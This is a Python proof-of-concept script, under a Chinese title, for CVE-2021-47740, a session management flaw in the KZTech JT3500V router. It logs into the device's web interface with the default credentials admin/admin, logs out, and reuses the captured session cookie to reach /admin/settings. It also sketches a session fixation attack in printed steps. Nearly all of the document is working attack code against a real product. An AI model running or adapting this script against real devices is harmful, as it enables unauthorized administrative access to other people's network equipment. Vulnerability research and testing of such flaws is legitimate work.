CVE-2021-47740 KZTech JT3500V 会话管理漏洞

#!/usr/bin/env python3 """ CVE-2021-47740 PoC - KZTech JT3500V Session Management Vulnerability This PoC demonstrates session reuse without proper expiration. """ import requests import sys TARGET_IP = "192.168.1.1" # Default CPE IP TARGET_URL = f"http://{TARGET_IP}" def check_session_management(): """ Test for weak session management vulnerability. Checks if session cookies remain valid after logout. """ session = requests.Session() # Step 1: Normal login login_data = { "username": "admin", "password": "admin" # Default credentials } try: response = session.post(f"{TARGET_URL}/login", data=login_data, timeout=5) print(f"[+] Login attempt: Status {response.status_code}") # Extract session cookie session_cookie = session.cookies.get_dict() print(f"[+] Session cookie obtained: {session_cookie}") # Step 2: Logout logout_response = session.post(f"{TARGET_URL}/logout", timeout=5) print(f"[+] Logout attempt: Status {logout_response.status_code}") # Step 3: Try to reuse the same session cookie reused_session = requests.Session() reused_session.cookies.update(session_cookie) protected_response = reused_session.get(f"{TARGET_URL}/admin/settings", timeout=5) if protected_response.status_code == 200: print("[!] VULNERABLE: Session cookie still valid after logout!") print("[+] Attacker can maintain unauthorized access") return True else: print("[-] NOT VULNERABLE: Session properly invalidated") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return None def exploit_session_fixation(): """ Demonstrate session fixation attack. Attacker sets a known session ID before victim authenticates. """ attacker_session = requests.Session() # Attacker pre-creates a session initial_response = attacker_session.get(f"{TARGET_URL}/", timeout=5) attacker_cookie = attacker_session.cookies.get_dict() print(f"[+] Attacker sets known session: {attacker_cookie}") # If victim uses this cookie, attacker can hijack print("[+] Victim authenticates with attacker-provided session") print("[+] Attacker reuses session to gain access") if __name__ == "__main__": print("=" * 60) print("CVE-2021-47740 - KZTech JT3500V Session Management PoC") print("=" * 60) check_session_management()